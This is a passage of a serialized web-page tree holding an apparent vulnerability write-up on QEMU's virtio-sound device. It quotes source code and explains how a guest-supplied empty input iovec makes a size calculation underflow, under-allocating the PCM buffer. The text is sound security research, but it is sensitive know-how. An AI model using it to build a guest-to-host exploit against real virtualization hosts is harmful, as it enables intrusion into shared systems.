",{"type":19,"tag":168,"props":121576,"children":121577},{"style":399},[121578],{"type":24,"value":486},{"type":19,"tag":168,"props":121580,"children":121581},{"style":175},[121582],{"type":24,"value":121583}," iov_size",{"type":19,"tag":168,"props":121585,"children":121586},{"style":212},[121587],{"type":24,"value":500},{"type":19,"tag":168,"props":121589,"children":121590},{"style":393},[121591],{"type":24,"value":49547},{"type":19,"tag":168,"props":121593,"children":121594},{"style":212},[121595],{"type":24,"value":11203},{"type":19,"tag":168,"props":121597,"children":121598},{"style":393},[121599],{"type":24,"value":121600},"in_sg",{"type":19,"tag":168,"props":121602,"children":121603},{"style":212},[121604],{"type":24,"value":471},{"type":19,"tag":168,"props":121606,"children":121607},{"style":393},[121608],{"type":24,"value":49547},{"type":19,"tag":168,"props":121610,"children":121611},{"style":212},[121612],{"type":24,"value":11203},{"type":19,"tag":168,"props":121614,"children":121615},{"style":393},[121616],{"type":24,"value":121617},"in_num",{"type":19,"tag":168,"props":121619,"children":121620},{"style":212},[121621],{"type":24,"value":481},{"type":19,"tag":168,"props":121623,"children":121624},{"style":399},[121625],{"type":24,"value":48344},{"type":19,"tag":168,"props":121627,"children":121628},{"class":170,"line":1260},[121629,121634,121639],{"type":19,"tag":168,"props":121630,"children":121631},{"style":382},[121632],{"type":24,"value":121633}," sizeof",{"type":19,"tag":168,"props":121635,"children":121636},{"style":212},[121637],{"type":24,"value":121638},"(virtio_snd_pcm_status);",{"type":19,"tag":168,"props":121640,"children":121641},{"style":373},[121642],{"type":24,"value":121643}," // [2]\n",{"type":19,"tag":168,"props":121645,"children":121646},{"class":170,"line":1320},[121647,121652,121656,121661,121665,121669,121674,121678],{"type":19,"tag":168,"props":121648,"children":121649},{"style":212},[121650],{"type":24,"value":121651}," buffer ",{"type":19,"tag":168,"props":121653,"children":121654},{"style":399},[121655],{"type":24,"value":486},{"type":19,"tag":168,"props":121657,"children":121658},{"style":175},[121659],{"type":24,"value":121660}," g_malloc0",{"type":19,"tag":168,"props":121662,"children":121663},{"style":212},[121664],{"type":24,"value":500},{"type":19,"tag":168,"props":121666,"children":121667},{"style":382},[121668],{"type":24,"value":52811},{"type":19,"tag":168,"props":121670,"children":121671},{"style":212},[121672],{"type":24,"value":121673},"(VirtIOSoundPCMBuffer) ",{"type":19,"tag":168,"props":121675,"children":121676},{"style":399},[121677],{"type":24,"value":1811},{"type":19,"tag":168,"props":121679,"children":121680},{"style":212},[121681],{"type":24,"value":121682}," size);\n",{"type":19,"tag":168,"props":121684,"children":121685},{"class":170,"line":6486},[121686,121691,121695,121699,121703],{"type":19,"tag":168,"props":121687,"children":121688},{"style":393},[121689],{"type":24,"value":121690}," buffer",{"type":19,"tag":168,"props":121692,"children":121693},{"style":212},[121694],{"type":24,"value":11203},{"type":19,"tag":168,"props":121696,"children":121697},{"style":393},[121698],{"type":24,"value":49547},{"type":19,"tag":168,"props":121700,"children":121701},{"style":399},[121702],{"type":24,"value":402},{"type":19,"tag":168,"props":121704,"children":121705},{"style":212},[121706],{"type":24,"value":121707}," elem;\n",{"type":19,"tag":168,"props":121709,"children":121710},{"class":170,"line":6504},[121711,121715,121719,121723,121727],{"type":19,"tag":168,"props":121712,"children":121713},{"style":393},[121714],{"type":24,"value":121690},{"type":19,"tag":168,"props":121716,"children":121717},{"style":212},[121718],{"type":24,"value":11203},{"type":19,"tag":168,"props":121720,"children":121721},{"style":393},[121722],{"type":24,"value":121359},{"type":19,"tag":168,"props":121724,"children":121725},{"style":399},[121726],{"type":24,"value":402},{"type":19,"tag":168,"props":121728,"children":121729},{"style":212},[121730],{"type":24,"value":121731}," vq;\n",{"type":19,"tag":168,"props":121733,"children":121734},{"class":170,"line":6549},[121735,121739,121743,121748,121752,121756],{"type":19,"tag":168,"props":121736,"children":121737},{"style":393},[121738],{"type":24,"value":121690},{"type":19,"tag":168,"props":121740,"children":121741},{"style":212},[121742],{"type":24,"value":11203},{"type":19,"tag":168,"props":121744,"children":121745},{"style":393},[121746],{"type":24,"value":121747},"size",{"type":19,"tag":168,"props":121749,"children":121750},{"style":399},[121751],{"type":24,"value":402},{"type":19,"tag":168,"props":121753,"children":121754},{"style":192},[121755],{"type":24,"value":437},{"type":19,"tag":168,"props":121757,"children":121758},{"style":212},[121759],{"type":24,"value":412},{"type":19,"tag":168,"props":121761,"children":121762},{"class":170,"line":6655},[121763,121767,121771,121775,121779,121783],{"type":19,"tag":168,"props":121764,"children":121765},{"style":393},[121766],{"type":24,"value":121690},{"type":19,"tag":168,"props":121768,"children":121769},{"style":212},[121770],{"type":24,"value":11203},{"type":19,"tag":168,"props":121772,"children":121773},{"style":393},[121774],{"type":24,"value":11347},{"type":19,"tag":168,"props":121776,"children":121777},{"style":399},[121778],{"type":24,"value":402},{"type":19,"tag":168,"props":121780,"children":121781},{"style":192},[121782],{"type":24,"value":437},{"type":19,"tag":168,"props":121784,"children":121785},{"style":212},[121786],{"type":24,"value":412},{"type":19,"tag":168,"props":121788,"children":121789},{"class":170,"line":20965},[121790,121795,121799,121803,121807,121811,121816,121821],{"type":19,"tag":168,"props":121791,"children":121792},{"style":175},[121793],{"type":24,"value":121794}," QSIMPLEQ_INSERT_TAIL",{"type":19,"tag":168,"props":121796,"children":121797},{"style":212},[121798],{"type":24,"value":500},{"type":19,"tag":168,"props":121800,"children":121801},{"style":399},[121802],{"type":24,"value":505},{"type":19,"tag":168,"props":121804,"children":121805},{"style":393},[121806],{"type":24,"value":33736},{"type":19,"tag":168,"props":121808,"children":121809},{"style":212},[121810],{"type":24,"value":11203},{"type":19,"tag":168,"props":121812,"children":121813},{"style":393},[121814],{"type":24,"value":121815},"queue",{"type":19,"tag":168,"props":121817,"children":121818},{"style":212},[121819],{"type":24,"value":121820},", buffer, entry);",{"type":19,"tag":168,"props":121822,"children":121823},{"style":373},[121824],{"type":24,"value":50112},{"type":19,"tag":168,"props":121826,"children":121827},{"class":170,"line":21000},[121828],{"type":19,"tag":168,"props":121829,"children":121830},{"style":212},[121831],{"type":24,"value":752},{"type":19,"tag":168,"props":121833,"children":121834},{"class":170,"line":21008},[121835,121840],{"type":19,"tag":168,"props":121836,"children":121837},{"style":419},[121838],{"type":24,"value":121839}," continue",{"type":19,"tag":168,"props":121841,"children":121842},{"style":212},[121843],{"type":24,"value":412},{"type":19,"tag":168,"props":121845,"children":121846},{"class":170,"line":21016},[121847],{"type":19,"tag":168,"props":121848,"children":121849},{"emptyLinePlaceholder":14},[121850],{"type":24,"value":1093},{"type":19,"tag":168,"props":121852,"children":121853},{"class":170,"line":21025},[121854],{"type":19,"tag":168,"props":121855,"children":121856},{"style":212},[121857],{"type":24,"value":121526},{"type":19,"tag":168,"props":121859,"children":121860},{"class":170,"line":21067},[121861],{"type":19,"tag":168,"props":121862,"children":121863},{"style":212},[121864],{"type":24,"value":1326},{"type":19,"tag":20,"props":121866,"children":121867},{},[121868,121870,121876,121878,121884,121886,121891,121892,121898],{"type":24,"value":121869},"At ",{"type":19,"tag":27,"props":121871,"children":121873},{"className":121872},[],[121874],{"type":24,"value":121875},"[1]",{"type":24,"value":121877},", a ",{"type":19,"tag":27,"props":121879,"children":121881},{"className":121880},[],[121882],{"type":24,"value":121883},"VirtQueueElement *elem",{"type":24,"value":121885}," is popped from the virtqueue. It contains the ",{"type":19,"tag":27,"props":121887,"children":121889},{"className":121888},[],[121890],{"type":24,"value":121600},{"type":24,"value":8436},{"type":19,"tag":27,"props":121893,"children":121895},{"className":121894},[],[121896],{"type":24,"value":121897},"out_sg",{"type":24,"value":121899}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":19,"tag":20,"props":121901,"children":121902},{},[121903,121905,121911,121913,121919,121921,121927,121929,121935,121937,121943],{"type":24,"value":121904},"Further at ",{"type":19,"tag":27,"props":121906,"children":121908},{"className":121907},[],[121909],{"type":24,"value":121910},"[2]",{"type":24,"value":121912},", the device computes the size of the data buffer as ",{"type":19,"tag":27,"props":121914,"children":121916},{"className":121915},[],[121917],{"type":24,"value":121918},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":24,"value":121920},". That value is then used in the allocation: ",{"type":19,"tag":27,"props":121922,"children":121924},{"className":121923},[],[121925],{"type":24,"value":121926},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":24,"value":121928},". Finally, at ",{"type":19,"tag":27,"props":121930,"children":121932},{"className":121931},[],[121933],{"type":24,"value":121934},"[3]",{"type":24,"value":121936},", the newly allocated buffer is appended to the ",{"type":19,"tag":27,"props":121938,"children":121940},{"className":121939},[],[121941],{"type":24,"value":121942},"stream->queue",{"type":24,"value":121944}," linked list.",{"type":19,"tag":20,"props":121946,"children":121947},{},[121948,121950,121955,121957,121962,121964,121969,121971,121977],{"type":24,"value":121949},"Because both the ",{"type":19,"tag":27,"props":121951,"children":121953},{"className":121952},[],[121954],{"type":24,"value":121600},{"type":24,"value":121956}," iovec and the ",{"type":19,"tag":27,"props":121958,"children":121960},{"className":121959},[],[121961],{"type":24,"value":121617},{"type":24,"value":121963}," field are guest-controlled, and there is no check that the total ",{"type":19,"tag":27,"props":121965,"children":121967},{"className":121966},[],[121968],{"type":24,"value":121600},{"type":24,"value":121970}," size is at least ",{"type":19,"tag":27,"props":121972,"children":121974},{"className":121973},[],[121975],{"type":24,"value":121976},"sizeof(virtio_snd_pcm_status)",{"type":24,"value":121978},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":19,"tag":20,"props":121980,"children":121981},{},[121982,121984,121989,121991,121997,121999,122005,122007,122013],{"type":24,"value":121983},"From the guest driver, we can provide an empty ",{"type":19,"tag":27,"props":121985,"children":121987},{"className":121986},[],[121988],{"type":24,"value":121600},{"type":24,"value":121990}," iovec. In that case, the calculation becomes ",{"type":19,"tag":27,"props":121992,"children":121994},{"className":121993},[],[121995],{"type":24,"value":121996},"0 - sizeof(virtio_snd_pcm_status)",{"type":24,"value":121998},", so the allocation size effectively becomes ",{"type":19,"tag":27,"props":122000,"children":122002},{"className":122001},[],[122003],{"type":24,"value":122004},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":24,"value":122006},". Given the definition of ",{"type":19,"tag":27,"props":122008,"children":122010},{"className":122009},[],[122011],{"type":24,"value":122012},"VirtIOSoundPCMBuffer",{"type":24,"value":1922},{"type":19,"tag":158,"props":122015,"children":122017},{"code":122016,"language":543,"meta":7,"className":13963,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[122018],{"type":19,"tag":27,"props":122019,"children":122020},{"__ignoreMap":7},[122021,122033,122046,122061,122078,122090,122102,122110,122122,122142],{"type":19,"tag":168,"props":122022,"children":122023},{"class":170,"line":171},[122024,122028],{"type":19,"tag":168,"props":122025,"children":122026},{"style":382},[122027],{"type":24,"value":6842},{"type":19,"tag":168,"props":122029,"children":122030},{"style":212},[122031],{"type":24,"value":122032}," VirtIOSoundPCMBuffer {\n",{"type":19,"tag":168,"props":122034,"children":122035},{"class":170,"line":198},[122036,122041],{"type":19,"tag":168,"props":122037,"children":122038},{"style":175},[122039],{"type":24,"value":122040}," QSIMPLEQ_ENTRY",{"type":19,"tag":168,"props":122042,"children":122043},{"style":212},[122044],{"type":24,"value":122045},"(VirtIOSoundPCMBuffer) entry;\n",{"type":19,"tag":168,"props":122047,"children":122048},{"class":170,"line":415},[122049,122053,122057],{"type":19,"tag":168,"props":122050,"children":122051},{"style":212},[122052],{"type":24,"value":121378},{"type":19,"tag":168,"props":122054,"children":122055},{"style":399},[122056],{"type":24,"value":2002},{"type":19,"tag":168,"props":122058,"children":122059},{"style":212},[122060],{"type":24,"value":121387},{"type":19,"tag":168,"props":122062,"children":122063},{"class":170,"line":450},[122064,122069,122073],{"type":19,"tag":168,"props":122065,"children":122066},{"style":212},[122067],{"type":24,"value":122068}," VirtQueue ",{"type":19,"tag":168,"props":122070,"children":122071},{"style":399},[122072],{"type":24,"value":2002},{"type":19,"tag":168,"props":122074,"children":122075},{"style":212},[122076],{"type":24,"value":122077},"vq;\n",{"type":19,"tag":168,"props":122079,"children":122080},{"class":170,"line":560},[122081,122085],{"type":19,"tag":168,"props":122082,"children":122083},{"style":382},[122084],{"type":24,"value":14013},{"type":19,"tag":168,"props":122086,"children":122087},{"style":212},[122088],{"type":24,"value":122089}," size;\n",{"type":19,"tag":168,"props":122091,"children":122092},{"class":170,"line":666},[122093,122097],{"type":19,"tag":168,"props":122094,"children":122095},{"style":382},[122096],{"type":24,"value":53096},{"type":19,"tag":168,"props":122098,"children":122099},{"style":212},[122100],{"type":24,"value":122101}," offset;\n",{"type":19,"tag":168,"props":122103,"children":122104},{"class":170,"line":694},[122105],{"type":19,"tag":168,"props":122106,"children":122107},{"style":373},[122108],{"type":24,"value":122109}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":19,"tag":168,"props":122111,"children":122112},{"class":170,"line":707},[122113,122117],{"type":19,"tag":168,"props":122114,"children":122115},{"style":382},[122116],{"type":24,"value":43954},{"type":19,"tag":168,"props":122118,"children":122119},{"style":212},[122120],{"type":24,"value":122121}," populated;\n",{"type":19,"tag":168,"props":122123,"children":122124},{"class":170,"line":725},[122125,122129,122133,122138],{"type":19,"tag":168,"props":122126,"children":122127},{"style":382},[122128],{"type":24,"value":55941},{"type":19,"tag":168,"props":122130,"children":122131},{"style":212},[122132],{"type":24,"value":12551},{"type":19,"tag":168,"props":122134,"children":122135},{"style":382},[122136],{"type":24,"value":122137},"[]",{"type":19,"tag":168,"props":122139,"children":122140},{"style":212},[122141],{"type":24,"value":412},{"type":19,"tag":168,"props":122143,"children":122144},{"class":170,"line":746},[122145],{"type":19,"tag":168,"props":122146,"children":122147},{"style":212},[122148],{"type":24,"value":14026},{"type":19,"tag":20,"props":122150,"children":122151},{},[122152,122154,122160,122162,122167,122169,122174,122176,122181,122183,122188,122190,122196],{"type":24,"value":122153},"That under-allocation removes the ",{"type":19,"tag":27,"props":122155,"children":122157},{"className":122156},[],[122158],{"type":24,"value":122159},"populated",{"type":24,"value":122161}," field along with the variable-sized ",{"type":19,"tag":27,"props":122163,"children":122165},{"className":122164},[],[122166],{"type":24,"value":1120},{"type":24,"value":122168}," array. As the comment says, ",{"type":19,"tag":27,"props":122170,"children":122172},{"className":122171},[],[122173],{"type":24,"value":122159},{"type":24,"value":122175}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":19,"tag":27,"props":122177,"children":122179},{"className":122178},[],[122180],{"type":24,"value":1442},{"type":24,"value":122182},", the device believes data should be ",{"type":19,"tag":27,"props":122184,"children":122186},{"className":122185},[],[122187],{"type":24,"value":1442},{"type":24,"value":122189}," byte, while the actual allocation is ",{"type":19,"tag":27,"props":122191,"children":122193},{"className":122192},[],[122194],{"type":24,"value":122195},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":24,"value":948},{"type":19,"tag":16345,"props":122198,"children":122200},{"id":122199},"populating-data-buffers",[122201],{"type":24,"value":122202},"Populating Data Buffers",{"type":19,"tag":20,"props":122204,"children":122205},{},[122206],{"type":24,"value":122207},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":19,"tag":158,"props":122209,"children":122211},{"code":122210,"language":543,"meta":7,"className":13963,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[122212],{"type":19,"tag":27,"props":122213,"children":122214},{"__ignoreMap":7},[122215,122222,122230,122237,122245,122253,122260,122309,122316,122342,122359,122371,122378,122410,122455,122495,122502,122510,122517,122542,122570,122594,122602,122614,122652,122665,122677,122684,122730,122767,122810,122831,122851,122871,122882,122889,122912,122928,122936,122943,122950,122957],{"type":19,"tag":168,"props":122216,"children":122217},{"class":170,"line":171},[122218],{"type":19,"tag":168,"props":122219,"children":122220},{"style":373},[122221],{"type":24,"value":46848},{"type":19,"tag":168,"props":122223,"children":122224},{"class":170,"line":198},[122225],{"type":19,"tag":168,"props":122226,"children":122227},{"style":373},[122228],{"type":24,"value":122229}," * AUD_* input callback.\n",{"type":19,"tag":168,"props":122231,"children":122232},{"class":170,"line":415},[122233],{"type":19,"tag":168,"props":122234,"children":122235},{"style":373},[122236],{"type":24,"value":16942},{"type":19,"tag":168,"props":122238,"children":122239},{"class":170,"line":450},[122240],{"type":19,"tag":168,"props":122241,"children":122242},{"style":373},[122243],{"type":24,"value":122244}," * @data: VirtIOSoundPCMStream stream\n",{"type":19,"tag":168,"props":122246,"children":122247},{"class":170,"line":560},[122248],{"type":19,"tag":168,"props":122249,"children":122250},{"style":373},[122251],{"type":24,"value":122252}," * @available: number of bytes that can be read with AUD_read()\n",{"type":19,"tag":168,"props":122254,"children":122255},{"class":170,"line":666},[122256],{"type":19,"tag":168,"props":122257,"children":122258},{"style":373},[122259],{"type":24,"value":121315},{"type":19,"tag":168,"props":122261,"children":122262},{"class":170,"line":694},[122263,122267,122271,122276,122280,122284,122288,122292,122296,122300,122305],{"type":19,"tag":168,"props":122264,"children":122265},{"style":382},[122266],{"type":24,"value":48527},{"type":19,"tag":168,"props":122268,"children":122269},{"style":382},[122270],{"type":24,"value":48532},{"type":19,"tag":168,"props":122272,"children":122273},{"style":175},[122274],{"type":24,"value":122275}," virtio_snd_pcm_in_cb",{"type":19,"tag":168,"props":122277,"children":122278},{"style":212},[122279],{"type":24,"value":500},{"type":19,"tag":168,"props":122281,"children":122282},{"style":382},[122283],{"type":24,"value":49110},{"type":19,"tag":168,"props":122285,"children":122286},{"style":399},[122287],{"type":24,"value":7259},{"type":19,"tag":168,"props":122289,"children":122290},{"style":393},[122291],{"type":24,"value":1120},{"type":19,"tag":168,"props":122293,"children":122294},{"style":212},[122295],{"type":24,"value":471},{"type":19,"tag":168,"props":122297,"children":122298},{"style":382},[122299],{"type":24,"value":16500},{"type":19,"tag":168,"props":122301,"children":122302},{"style":393},[122303],{"type":24,"value":122304}," available",{"type":19,"tag":168,"props":122306,"children":122307},{"style":212},[122308],{"type":24,"value":557},{"type":19,"tag":168,"props":122310,"children":122311},{"class":170,"line":707},[122312],{"type":19,"tag":168,"props":122313,"children":122314},{"style":212},[122315],{"type":24,"value":8324},{"type":19,"tag":168,"props":122317,"children":122318},{"class":170,"line":725},[122319,122324,122328,122333,122337],{"type":19,"tag":168,"props":122320,"children":122321},{"style":212},[122322],{"type":24,"value":122323}," VirtIOSoundPCMStream ",{"type":19,"tag":168,"props":122325,"children":122326},{"style":399},[122327],{"type":24,"value":2002},{"type":19,"tag":168,"props":122329,"children":122330},{"style":212},[122331],{"type":24,"value":122332},"stream ",{"type":19,"tag":168,"props":122334,"children":122335},{"style":399},[122336],{"type":24,"value":486},{"type":19,"tag":168,"props":122338,"children":122339},{"style":212},[122340],{"type":24,"value":122341}," data;\n",{"type":19,"tag":168,"props":122343,"children":122344},{"class":170,"line":746},[122345,122350,122354],{"type":19,"tag":168,"props":122346,"children":122347},{"style":212},[122348],{"type":24,"value":122349}," VirtIOSoundPCMBuffer ",{"type":19,"tag":168,"props":122351,"children":122352},{"style":399},[122353],{"type":24,"value":2002},{"type":19,"tag":168,"props":122355,"children":122356},{"style":212},[122357],{"type":24,"value":122358},"buffer;\n",{"type":19,"tag":168,"props":122360,"children":122361},{"class":170,"line":755},[122362,122366],{"type":19,"tag":168,"props":122363,"children":122364},{"style":382},[122365],{"type":24,"value":14013},{"type":19,"tag":168,"props":122367,"children":122368},{"style":212},[122369],{"type":24,"value":122370}," size, max_size;\n",{"type":19,"tag":168,"props":122372,"children":122373},{"class":170,"line":1008},[122374],{"type":19,"tag":168,"props":122375,"children":122376},{"emptyLinePlaceholder":14},[122377],{"type":24,"value":1093},{"type":19,"tag":168,"props":122379,"children":122380},{"class":170,"line":1025},[122381,122386,122390,122394,122398,122402,122406],{"type":19,"tag":168,"props":122382,"children":122383},{"style":175},[122384],{"type":24,"value":122385}," WITH_QEMU_LOCK_GUARD",{"type":19,"tag":168,"props":122387,"children":122388},{"style":212},[122389],{"type":24,"value":500},{"type":19,"tag":168,"props":122391,"children":122392},{"style":399},[122393],{"type":24,"value":505},{"type":19,"tag":168,"props":122395,"children":122396},{"style":393},[122397],{"type":24,"value":33736},{"type":19,"tag":168,"props":122399,"children":122400},{"style":212},[122401],{"type":24,"value":11203},{"type":19,"tag":168,"props":122403,"children":122404},{"style":393},[122405],{"type":24,"value":121562},{"type":19,"tag":168,"props":122407,"children":122408},{"style":212},[122409],{"type":24,"value":12250},{"type":19,"tag":168,"props":122411,"children":122412},{"class":170,"line":1042},[122413,122418,122422,122426,122431,122435,122439,122443,122447,122451],{"type":19,"tag":168,"props":122414,"children":122415},{"style":419},[122416],{"type":24,"value":122417}," while",{"type":19,"tag":168,"props":122419,"children":122420},{"style":212},[122421],{"type":24,"value":461},{"type":19,"tag":168,"props":122423,"children":122424},{"style":399},[122425],{"type":24,"value":18076},{"type":19,"tag":168,"props":122427,"children":122428},{"style":175},[122429],{"type":24,"value":122430},"QSIMPLEQ_EMPTY",{"type":19,"tag":168,"props":122432,"children":122433},{"style":212},[122434],{"type":24,"value":500},{"type":19,"tag":168,"props":122436,"children":122437},{"style":399},[122438],{"type":24,"value":505},{"type":19,"tag":168,"props":122440,"children":122441},{"style":393},[122442],{"type":24,"value":33736},{"type":19,"tag":168,"props":122444,"children":122445},{"style":212},[122446],{"type":24,"value":11203},{"type":19,"tag":168,"props":122448,"children":122449},{"style":393},[122450],{"type":24,"value":121815},{"type":19,"tag":168,"props":122452,"children":122453},{"style":212},[122454],{"type":24,"value":32668},{"type":19,"tag":168,"props":122456,"children":122457},{"class":170,"line":1055},[122458,122462,122466,122471,122475,122479,122483,122487,122491],{"type":19,"tag":168,"props":122459,"children":122460},{"style":212},[122461],{"type":24,"value":121651},{"type":19,"tag":168,"props":122463,"children":122464},{"style":399},[122465],{"type":24,"value":486},{"type":19,"tag":168,"props":122467,"children":122468},{"style":175},[122469],{"type":24,"value":122470}," QSIMPLEQ_FIRST",{"type":19,"tag":168,"props":122472,"children":122473},{"style":212},[122474],{"type":24,"value":500},{"type":19,"tag":168,"props":122476,"children":122477},{"style":399},[122478],{"type":24,"value":505},{"type":19,"tag":168,"props":122480,"children":122481},{"style":393},[122482],{"type":24,"value":33736},{"type":19,"tag":168,"props":122484,"children":122485},{"style":212},[122486],{"type":24,"value":11203},{"type":19,"tag":168,"props":122488,"children":122489},{"style":393},[122490],{"type":24,"value":121815},{"type":19,"tag":168,"props":122492,"children":122493},{"style":212},[122494],{"type":24,"value":1249},{"type":19,"tag":168,"props":122496,"children":122497},{"class":170,"line":1064},[122498],{"type":19,"tag":168,"props":122499,"children":122500},{"emptyLinePlaceholder":14},[122501],{"type":24,"value":1093},{"type":19,"tag":168,"props":122503,"children":122504},{"class":170,"line":1087},[122505],{"type":19,"tag":168,"props":122506,"children":122507},{"style":212},[122508],{"type":24,"value":122509}," [...]\n",{"type":19,"tag":168,"props":122511,"children":122512},{"class":170,"line":1096},[122513],{"type":19,"tag":168,"props":122514,"children":122515},{"emptyLinePlaceholder":14},[122516],{"type":24,"value":1093},{"type":19,"tag":168,"props":122518,"children":122519},{"class":170,"line":1105},[122520,122525,122529,122533,122537],{"type":19,"tag":168,"props":122521,"children":122522},{"style":212},[122523],{"type":24,"value":122524}," max_size ",{"type":19,"tag":168,"props":122526,"children":122527},{"style":399},[122528],{"type":24,"value":486},{"type":19,"tag":168,"props":122530,"children":122531},{"style":175},[122532],{"type":24,"value":121583},{"type":19,"tag":168,"props":122534,"children":122535},{"style":212},[122536],{"type":24,"value":500},{"type":19,"tag":168,"props":122538,"children":122539},{"style":373},[122540],{"type":24,"value":122541}," // [1]\n",{"type":19,"tag":168,"props":122543,"children":122544},{"class":170,"line":1174},[122545,122550,122554,122558,122562,122566],{"type":19,"tag":168,"props":122546,"children":122547},{"style":393},[122548],{"type":24,"value":122549}," buffer",{"type":19,"tag":168,"props":122551,"children":122552},{"style":212},[122553],{"type":24,"value":11203},{"type":19,"tag":168,"props":122555,"children":122556},{"style":393},[122557],{"type":24,"value":49547},{"type":19,"tag":168,"props":122559,"children":122560},{"style":212},[122561],{"type":24,"value":11203},{"type":19,"tag":168,"props":122563,"children":122564},{"style":393},[122565],{"type":24,"value":121600},{"type":19,"tag":168,"props":122567,"children":122568},{"style":212},[122569],{"type":24,"value":915},{"type":19,"tag":168,"props":122571,"children":122572},{"class":170,"line":1182},[122573,122577,122581,122585,122589],{"type":19,"tag":168,"props":122574,"children":122575},{"style":393},[122576],{"type":24,"value":122549},{"type":19,"tag":168,"props":122578,"children":122579},{"style":212},[122580],{"type":24,"value":11203},{"type":19,"tag":168,"props":122582,"children":122583},{"style":393},[122584],{"type":24,"value":49547},{"type":19,"tag":168,"props":122586,"children":122587},{"style":212},[122588],{"type":24,"value":11203},{"type":19,"tag":168,"props":122590,"children":122591},{"style":393},[122592],{"type":24,"value":122593},"in_num\n",{"type":19,"tag":168,"props":122595,"children":122596},{"class":170,"line":1212},[122597],{"type":19,"tag":168,"props":122598,"children":122599},{"style":212},[122600],{"type":24,"value":122601}," );\n",{"type":19,"tag":168,"props":122603,"children":122604},{"class":170,"line":1220},[122605,122610],{"type":19,"tag":168,"props":122606,"children":122607},{"style":419},[122608],{"type":24,"value":122609}," for",{"type":19,"tag":168,"props":122611,"children":122612},{"style":212},[122613],{"type":24,"value":121413},{"type":19,"tag":168,"props":122615,"children":122616},{"class":170,"line":1252},[122617,122621,122625,122630,122634,122638,122642,122647],{"type":19,"tag":168,"props":122618,"children":122619},{"style":419},[122620],{"type":24,"value":101007},{"type":19,"tag":168,"props":122622,"children":122623},{"style":212},[122624],{"type":24,"value":461},{"type":19,"tag":168,"props":122626,"children":122627},{"style":393},[122628],{"type":24,"value":122629},"buffer",{"type":19,"tag":168,"props":122631,"children":122632},{"style":212},[122633],{"type":24,"value":11203},{"type":19,"tag":168,"props":122635,"children":122636},{"style":393},[122637],{"type":24,"value":121747},{"type":19,"tag":168,"props":122639,"children":122640},{"style":399},[122641],{"type":24,"value":5739},{"type":19,"tag":168,"props":122643,"children":122644},{"style":212},[122645],{"type":24,"value":122646}," max_size) {",{"type":19,"tag":168,"props":122648,"children":122649},{"style":373},[122650],{"type":24,"value":122651}," // [2]\n",{"type":19,"tag":168,"props":122653,"children":122654},{"class":170,"line":1260},[122655,122660],{"type":19,"tag":168,"props":122656,"children":122657},{"style":175},[122658],{"type":24,"value":122659}," return_rx_buffer",{"type":19,"tag":168,"props":122661,"children":122662},{"style":212},[122663],{"type":24,"value":122664},"(stream, buffer);\n",{"type":19,"tag":168,"props":122666,"children":122667},{"class":170,"line":1320},[122668,122673],{"type":19,"tag":168,"props":122669,"children":122670},{"style":419},[122671],{"type":24,"value":122672}," break",{"type":19,"tag":168,"props":122674,"children":122675},{"style":212},[122676],{"type":24,"value":412},{"type":19,"tag":168,"props":122678,"children":122679},{"class":170,"line":6486},[122680],{"type":19,"tag":168,"props":122681,"children":122682},{"style":212},[122683],{"type":24,"value":68558},{"type":19,"tag":168,"props":122685,"children":122686},{"class":170,"line":6504},[122687,122692,122696,122701,122705,122709,122713,122718,122722,122726],{"type":19,"tag":168,"props":122688,"children":122689},{"style":212},[122690],{"type":24,"value":122691}," size ",{"type":19,"tag":168,"props":122693,"children":122694},{"style":399},[122695],{"type":24,"value":486},{"type":19,"tag":168,"props":122697,"children":122698},{"style":175},[122699],{"type":24,"value":122700}," AUD_read",{"type":19,"tag":168,"props":122702,"children":122703},{"style":212},[122704],{"type":24,"value":500},{"type":19,"tag":168,"props":122706,"children":122707},{"style":393},[122708],{"type":24,"value":33736},{"type":19,"tag":168,"props":122710,"children":122711},{"style":212},[122712],{"type":24,"value":11203},{"type":19,"tag":168,"props":122714,"children":122715},{"style":393},[122716],{"type":24,"value":122717},"voice",{"type":19,"tag":168,"props":122719,"children":122720},{"style":212},[122721],{"type":24,"value":948},{"type":19,"tag":168,"props":122723,"children":122724},{"style":393},[122725],{"type":24,"value":92986},{"type":19,"tag":168,"props":122727,"children":122728},{"style":212},[122729],{"type":24,"value":915},{"type":19,"tag":168,"props":122731,"children":122732},{"class":170,"line":6549},[122733,122738,122742,122746,122750,122755,122759,122763],{"type":19,"tag":168,"props":122734,"children":122735},{"style":393},[122736],{"type":24,"value":122737}," buffer",{"type":19,"tag":168,"props":122739,"children":122740},{"style":212},[122741],{"type":24,"value":11203},{"type":19,"tag":168,"props":122743,"children":122744},{"style":393},[122745],{"type":24,"value":1120},{"type":19,"tag":168,"props":122747,"children":122748},{"style":399},[122749],{"type":24,"value":6343},{"type":19,"tag":168,"props":122751,"children":122752},{"style":393},[122753],{"type":24,"value":122754}," 